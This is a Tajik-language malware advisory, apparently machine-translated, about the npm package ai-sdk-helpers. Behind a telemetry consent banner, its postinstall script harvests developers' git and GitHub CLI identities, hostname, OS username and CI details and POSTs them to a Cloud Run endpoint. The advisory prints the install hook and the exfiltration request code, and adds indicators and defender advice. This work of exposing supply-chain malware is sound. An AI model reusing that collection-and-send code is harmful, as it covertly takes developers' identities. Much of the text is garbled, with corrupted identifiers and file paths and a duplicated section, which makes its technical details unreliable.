ХИБ; DR
Як бастаи ягонаи npm, ёварони ai-sdk, худро ҳамчун маҷмӯаи абзорҳои истеҳсолӣ барои SDK-и Vercel AI муаррифӣ мекунад, ки пайгирии хароҷот, барқароркунии провайдерҳо ва ёварони ҷараёнро пешниҳод мекунад.
Скрипти вақти насби он бо баннери ошкоркунии сайқалёфта оғоз мешавад, ки онро тавсиф мекунад ташхиси беном, ваъда медиҳад, ки ягон рамзи сарчашма, токен ё эътимоднома интиқол дода намешавад ва ба а DO_NOT_TRACK даст кашидан аз истифода ва пайваст кардан ба саҳифаи сиёсати телеметрӣ.
Сипас, ҳамон скрипт шахсияти git-и таҳиягар, конфигуратсияи CLI-и GitHub, номи мизбони мошин, номи корбарии OS, директорияи корӣ ва провайдери CI-ро мехонад.
Ин маълумот ҳамчун JSON ба нуқтаи ниҳоии Google Cloud Run фиристода мешавад, ки номувофиқати возеҳро байни сиёсати телеметрии изҳоршуда ва майдонҳои воқеии ҷамъовардашуда ба вуҷуд меорад.
Баста дар бисту ду версия дар як муддати 83-сония нашр шуд ва скрипти насбкунӣ дар ҳар як версияи қайдшуда байт ба байт якхела аст.
Ҳафт аз ҳашт версия, ки аз ҷониби мо баррасӣ шудаанд pipeline аз ҷониби таснифкунандаи ML номуайян арзёбӣ шуданд, зеро услуби баннери розигӣ ба монанди телеметрияи қонунӣ хонда мешавад.
Мо тасниф мекунем ai-sdk-helpers ҳамчун зараровар, ки бар асоси ҷамъоварӣ ва хориҷ кардани шахсияти таҳиягар дар вақти насбкунӣ асос ёфтааст.
Шиддатӣ: баланд.
Анатомияи насб
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } пас аз насб кардан ба таври худкор кор мекунад насб, пеш аз ворид кардани ягон рамзи таблиғшудаи баста. скриптҳо/постинстал.js ин ҷоест, ки ҳамаи рафтори вақти насбкунӣ дар он ҷо зиндагӣ мекунад.
Он бо блоки шарҳҳо ва огоҳиномаи вақти иҷро, ки дар феҳристи лоиҳаи кушодаасос ва дорои махфият навишта шудааст, оғоз мешавад:
>Вақте ки шумо ai-sdk-helpers-ро насб мекунед, мо санҷиши зуди мутобиқати муҳити зистро анҷом медиҳем ва ташхиси беномро гузориш медиҳем... Маълумот пурра беном аст — мо платформаи шумо, версияи Node ва хэш-и яктарафаи идентификатори мошини шуморо ҷамъ мекунем. Ҳеҷ гоҳ рамзи сарчашма, токенҳо ё эътимодномаҳо интиқол дода намешаванд.
Он ҳатто як дарвозаи кории радди корро пайваст мекунад, ки аввалин рамзи иҷрошаванда дар файл аст:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } аввал гузоштани ин дарвоза он чизест, ки боқимондаро ҳамчун ризоият хондан мумкин аст: таҳиягар, ки муқаррар мекунад `D_NOT_TRACK` насбро хомӯшона анҷом медиҳад ва бастаро ба анҷом мерасонад, ки ба конвенсия эҳтиром мегузорад. Радди ифтихорӣ воқеӣ аст. Он чизе ки он барои ҳамаи онҳое, ки онро муқаррар накардаанд, маҷмӯаи дар зер тавсифшуда аст - на "платформа, версияи Node ва хэш яктарафа", ки огоҳӣ номбар кардааст.
Дар зери он дарвоза, скрипт як бори фоидаоварро ҷамъ мекунад, ки аз тавсифи он хеле зиёдтар аст.
- *Gшахсияти т.* rњалScmҲувият()` сарҳо `~.gitconfig`,`~.config/git/config`,ва лоиҳаи кунунӣ `.it/config`,таҷзия мекунад `[сер]` бахши, ва танзимшударо бармегардонад commit почтаи электронӣ. Агар ягон файли конфигуратсия почтаи электронӣ надиҳад, он ба `G бармегардад.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,ва `EАИЛ Тағйирёбандаҳои муҳити зист. Як сатри doc дар болои функсия хонданро ҳамчун роҳе "барои аз нав дида баромадани насбҳо дар байни мошинҳое, ки ба як шахс тааллуқ доранд (масалан, ноутбук + CI)" чаҳорчӯба мекунад - ҳадафи изҳоршуда, ки як идентификатори устувори ҳар як таҳиягарро талаб мекунад, ки commit лавозимоти почтаи электронӣ.
- *Gҳисоби tHub.* rҳал карданGitHubIdentity()` сарҳо `~.config/gh/hosts.yml` ва `~.config/gh/hosts.yaml` файли конфигуратсия, ки аз ҷониби GitHub CLI навишта шудааст, вақте ки таҳиягар аутентификатсияро тасдиқ мекунад - ва regex-ро аз `u истихроҷ мекунадэр:` ва `eбемор:` майдонҳо. Ин файл инчунин токени GitHub OAuth-ро нигоҳ медорад; регекси скрипт махсусан сатрҳои номи корбар ва почтаи электрониро ҳадаф қарор медиҳад ва токенро истихроҷ намекунад. Аз ин рӯ, иддаои баннери ошкоркунӣ дар бораи "ҳеҷ токен ... ҳеҷ гоҳ интиқол дода намешавад" барои ин майдон дар ҳоле ки идентификаторҳои ҳисобҳои атроф хонда ва фиристода мешаванд, комилан дуруст аст.
- *Hизи ангушти st ва CI.* Сипас скрипт "o"-ро ҷамъ мекунадноми host()`,`o.userInfo().номи корбарӣ`,Версияи Node, платформа ва меъморӣ, `pocess.cwd()`,ва нишони провайдери CI, ки бо санҷиши тағйирёбандаҳои муҳити зист барои ҳашт провайдер ҳал карда мешавад (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite ва ду парчами CI-и умумӣ). Рӯйхати провайдерҳо ҳамчун рӯйхати ҷойҳое, ки скрипт интизор дорад иҷро кунад, хонда мешавад - снарядҳои интерактивӣ ва сохтани автоматӣ. pipelineмонанд.
Ҳамаи инҳо дар як "d" гурӯҳбандӣ шудаанд.агностикҳо объект, бо майдонҳои барои ҳар як таҳиякунанда дар зери `i ҷамъоварӣ карда мешавандсубъект ey ва маълумоти мизбон дар зери `rвақти ва `cntext` eys, сипас силсилавӣ ва интиқол дода мешаванд:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); посух рад карда мешавад ва ҳамаи хатогиҳо фурӯ бурда мешаванд — дар шарҳ қайд карда мешавад, ки «телеметрия ҳеҷ гоҳ набояд насбро вайрон кунад». Номи мизбони нуқтаи ниҳоӣ хидмати Google Cloud Run-ро дар `e рамзгузорӣ мекунад.роуп-вес1` минтақа.
Фосила дар асл қисса аст. Дар баннер се категорияи маълумот номбар шудаанд - платформа, версияи Node, хэши муайянкунандаи мошин. Бори иловагӣ git-и воқеии таҳиягарро мефиристад. commit почтаи электронӣ, номи корбарӣ ва почтаи электронии GitHub-и онҳо, номи мизбони мошин ва номи ҳисоби системаи амалиётии онҳо, роҳи лоиҳа ва муҳити CI-и онҳо. Майдонҳое, ки *p-ро муайян мекунандrson ва ҳисобҳои онҳо* маҳз ба майдонҳое, ки дар ифшо сарфи назар карда шудаанд.
README чаҳорчӯбаро аз тарафи дигар тақвият медиҳад. Бахши "Телеметрия"-и он иддаои беномиро такрор мекунад ва калимаи `D-ро пайванд медиҳад._NOT_TRACK` о `сnsoledonottrack.com`,саҳифаи воқеии ҷомеа, ки конвенсияи даст кашидан аз онро сабт мекунад - қарз гирифтани махфияти эътирофшуда standard то ки огоҳӣ ҳамчун муқаррарӣ хонда шавад.
Давомнокӣ
Ин як бозёфти якбаста бо таърихи хеле кӯтоҳ ва хеле зичи нашр аст. Ҳеҷ гуна камони маъракаи чандҳафтаина барои пайгирӣ вуҷуд надорад - тамоми диапазони версияҳо бо суръати мошинӣ пеш рафтааст.
| Кай (UTC) | ҳодиса |
|---|---|
| 2026-06-03 20:31:20 | Версияи аввал (0.1.0) дар npm нашр шудааст. |
| 2026-06-03 20:31:20 – 20:32:43 | Ҳамаи 22 версия (0.1.0 ба воситаи 1.4.2) дар як нашрияи автоматии 83-сония нашр шудааст. |
| 2026-06-04 | Ҳашт версия бо сигналҳои ошкоркунӣ қайд карда шуданд; таҳлили дастӣ ҷамъоварии шахсият ва хориҷ кардани онро дар вақти насб тасдиқ мекунад. Баста дар вақти таҳлил дар дақиқаи npm фаъол буд. |
Тирезаи 83-сония дар 22 версияи семантикӣ худ нишондиҳандаи рафторӣ аст: зинапояи версия (`01.0',`01.1',… `14.2`)сатҳи лоиҳаи фаъолона нигоҳдошташавандаро бо таърихи баровардани он, ки дар як иҷроиши скриптӣ сохта шудааст, нишон медиҳад. Скрипти насб дар ин зинапоя тағйир намеёбад - ба зер нигаред.
Нишондиҳандаҳои созиш
Сарбории вақти насбкунӣ дар тамоми диапазони версияҳои нашршуда якхела аст.ff` ф `сripts/postinstall.js` байни версияи `02.1` версияи дуюми `14.2` ягон фарқиятро барнамегардонад; рафтор як изи ангушти собит аст, на як бори таҳаввулёбанда.
шабакаи
Тирезаи 83-сония дар 22 версияи семантикӣ худ нишондиҳандаи рафторӣ аст: зинапояи версия (`01.0',`01.1',… `14.2`)сатҳи лоиҳаи фаъолона нигоҳдошташавандаро бо таърихи баровардани он, ки дар як иҷроиши скриптӣ сохта шудааст, нишон медиҳад. Скрипти насб дар ин зинапоя тағйир намеёбад - ба зер нигаред.
Нишондиҳандаҳои созиш
Сарбории вақти насбкунӣ дар тамоми диапазони версияҳои нашршуда якхела аст.ff` ф `сripts/postinstall.js` байни версияи `02.1` версияи дуюми `14.2` ягон фарқиятро барнамегардонад; рафтор як изи ангушти собит аст, на як бори таҳаввулёбанда.
шабакаи
| нишондиҳандаи | Нақши |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Нуқтаи ниҳоии эксфилтратсия, ки дархостҳои HTTPS POST-ро бо борҳои JSON қабул мекунад. Дар Google Cloud Run ҷойгир карда шудааст europe-west1 минтақа |
Инфрасохтори фиребанда
| нишондиҳандаи | Нақши |
|---|---|
ai-sdk.guide | Саҳифаи асосии бастаҳо ва сомонаи зинда, ки шахсияти муаллифи "Дастури AI SDK"-ро дастгирӣ мекунад. |
ai-sdk.guide/telemetry | URL-и сиёсати телеметрӣ, ки дар огоҳиномаи ифшои вақти насб истинод шудааст. |
hello@ai-sdk.guide | Почтаи электронии муаллиф дар package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Анбори манбаъ, ки аз ҷониби баста эълон шудааст. |
Файлҳо ҳангоми насб хонда мешаванд
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git`[сер]` почта
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uэр `eбемор
Имзоҳои рафторӣ
- – м `пнасбкунӣ ook скрипти бастабандишудаи Node-ро даъват мекунад
- – дарвозаи даст кашидан аз бозӣ (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)ҳамчун хусусияти махфият, пеш аз ҷамъоварии шахсият пешниҳод карда мешавад
- – tbound HTTPS POST-и объекти JSON, ки дорои почтаи электронии git, шахсияти GitHub, номи мизбон, номи корбарии OS, cwd ва тамғаи CI мебошад
- – скрипти насби якхела дар зинапояи версияи зуд нашршаванда
Атрибутсия ва рафтори мушоҳидашуда
Мо чизеро ғайр аз он чизе, ки баста ва метамаълумоти сабти ном сабт кардааст, нисбат намедиҳем.
Нигоҳдорандаи сабти npm ҳисоб астиелсимон,бо суроғаи `aiel@vigilance.security.Дар феҳрист ин почтаи электронӣ ҳамчун тасдиқнашуда ва шахсияти манбаи назорати ҳисоб ҳамчун тасдиқнашуда номбар шудааст.ckage.json`,алоҳида, муаллифро ҳамчун "Дастури AI SDK" муаррифӣ мекунадello@ai-sdk.guide>`”бо саҳифаи асосии `a-sdk.guide` ва анбори манбаъ дар зери `gthub.com/ai-sdk-guide` ташкилот. Домени почтаи электронии ҳисоби нашрия (`vigilance.security`)ва шахсияти муаллифи дохили баста (`a-sdk.guide`)доменҳои гуногун мебошанд.
"А"-sdk.guide` ite фаъол аст ва посух медиҳад ва `/элементометрия ath ҳал мекунад — шахсияти фиребгар аз ҷониби ҳузури дастраси веб ба ҷои пайванди мурда дастгирӣ карда мешавад, ки эътимоднокии чаҳорчӯбаи бастаро афзоиш медиҳад.
**Имконияти мушоҳидашуда.** Дар вақти насб, баста файлҳои шахсияти таҳиягар ва конфигуратсияи ҳисобро мехонад, муҳити мизбон ва CI-ро пайгирӣ мекунад ва натиҷаро ба нуқтаи ниҳоии аз ҷониби оператор идорашаванда интиқол медиҳад ва дар айни замон огоҳиномаеро нишон медиҳад, ки маҷмӯи додаҳои тангтар ва беномро тавсиф мекунад. Мо ин рафторро тавсиф мекунем; мо ангезаи онро пешниҳод намекунем. Хонандагоне, ки бастаро арзёбӣ мекунанд - аз ҷумла ҳама гуна тарафе, ки шахсияти нашрияро эътироф мекунад - бояд номувофиқати мушоҳидашавандаро байни ҷараёнҳои додашуда ва воқеии додаҳо баркашанд.
Таъсир, тамоюлҳо ва роҳнамоӣ барои ҳимоятгарон
Кӣ фош мешавад. Ҳар касе, ки насб мекунад ёварони ai-sdk — мустақиман ё ҳамчун вобастагии транзитӣ — коллексияро дар он мошин иҷро мекунад. Зеро триггер аст пас аз насб кардан, барои ба амал омадани ҷараёни маълумот рамзи китобхонаи таблиғшуда ҳеҷ гоҳ ворид карда намешавад; танҳо насбкунӣ кифоя аст. Муҳитҳои арзишмандтарин истгоҳҳои кории таҳиягарон бо шахсияти танзимшудаи git ва CLI-и тасдиқшудаи GitHub ва иҷрокунандагони CI мебошанд, ки дар он муайянкунии CI-провайдери скрипт нишон медиҳад, ки коллексия интизор меравад, ки дар дохили сохтмон кор кунад. pipelineинчунин дар ноутбукҳо.
Он чизеро, ки фош мекунад. Дар ҳолати умумӣ сирри барнома нест - сарборӣ ба он нигаронида шудааст шахсияти: аз ҷониби таҳиягар commit почтаи электронӣ, ном ва почтаи электронии ҳисоби GitHub-и онҳо, номҳои мошин ва ҳисоб ва роҳи лоиҳа. Ин як пешгӯӣ аст.cisхаритаи электронии он, ки кӣ бастаро, дар кадом мошин, дар кадом анбор ва дар зери кадом системаи CI насб кардааст. Барои як созмон, якчанд сабтҳои чунин якҷояшуда метавонанд номбар кунанд, ки кадом муҳандисон ва кадом системаҳои сохташуда вобастагиро кашидаанд - ҳамчун пешгузашта барои фаъолияти пайгирии мақсадноктар муфид аст, ҳарчанд рафтори худи ин баста дар ҷамъоварӣ ва интиқол қатъ мешавад.
Тамоюл: телеметрия ҳамчун муқова. Воситаҳои қонунии таҳиягар ташхиси насби беном ва қоидаҳои иҷрои он боэҳтиромро ҷамъ мекунанд - огоҳиномаи ошкоркунӣ, DO_NOT_TRACK шараф, парчами даст кашидан аз иштирок, URL-и сиёсат — хуб маълуманд. ёварони ai-sdk ҳар чаҳор ин конвенсияро боэҳтиёт такрор мекунад ва онҳоро ҳамчун печонидан барои ҷамъоварии шахсият истифода мебарад. Мавҷудияти баннери розигӣ, даст кашидан аз кор ё истиноди сиёсати махфият далели боэътимод будани баста нест; тақлид кардани ин идоракунӣ арзон аст. Ягона санҷиши боэътимод ин аст, ки рамз дар асл чӣ мехонад ва онро ба куҷо мефиристад.
Ин бастабандӣ инчунин ба триажи автоматӣ таъсири ченшаванда дорад. Дар тамоми версияҳои мо pipeline баррасӣ шуд, шарҳҳои скрипти насб бо забони оддӣ, номҳои майдонҳои сохторӣ ва дарвозаи анъанавии радкунӣ ҳамчун телеметрияи оддӣ баҳогузорӣ шуданд: ҳафт аз ҳаштто баргаштанд бетафовутӣ аз таснифкунандаи ML, на аз зараровар. Сигнале, ки номуайяниро ҳал мекунад, дар наср нест - он дар файлҳои мушаххасе аст, ки скрипт мекушояд (~/.gitconfig, ~/.config/gh/hosts.yml) ва макони таъиноте, ки он ба он мефиристад. Баррасикунанда, автоматӣ ё инсонӣ, ки ифшоро мехонад ва дар он ҷо меистад, ба хулосаи нодуруст мерасад; қарор бояд аз далелҳои ҷараёни маълумот барояд.
Дастурҳо барои ҳимоятгарон:
- Насб бо скриптҳои пешфарз ғайрифаъол — npm насб –ignore-scripts, ё муқаррар кунед ignore-scripts=true in .npmrc ва қадамҳои санҷидашудаи сохтмонро ба таври возеҳ иҷро кунед. Ин безарар мегардонад пас аз насб кардан- ҷамъоварии маълумотро дар саросари ҷаҳон ба вуҷуд овард.
- Назорати радди идоракуниро ҳамчун сигналҳои эътимод қабул накунед. DO_NOT_TRACK чек ё истиноди "сиёсати телеметрӣ" ба шумо дар бораи маълумоте, ки скрипт ҳангоми муқаррар нашудани дарвоза ҷамъ мекунад, чизе намегӯяд.
- Пеш аз қабули бастаҳои ёрирасони экосистемаи зеҳни сунъӣ, дастури насбро хонед. Фазои SDK-и Vercel зеҳни сунъӣ як ҳадафи босуръат ҳаракаткунанда ва эътимоднок аст; пас аз насб кардан ки ламс мекунад ~/.gitconfig or ~/.config/gh/ новобаста аз тарзи навиштани шарҳҳои атроф, як сигнали равшан аст.
- Назорати баромади вақти сохтмон. POST-и HTTPS-и содиротӣ дар давоми насб, махсусан барои нуқтаи ниҳоии функсияи абрии навтаъсис, дар сатҳи шабака мушоҳида мешавад ва нуқтаи қавии муайянкунӣ барои муҳитҳои CI мебошад.
- Ба зинапояҳои версияҳои фишурдашуда диққат диҳед. Бастае, ки тамоми таърихи версияи семантикии он дар тӯли чанд сония бо скрипти насби бетағйир пайдо мешавад, таърихи нигоҳдории истеҳсолшударо пешниҳод мекунад.





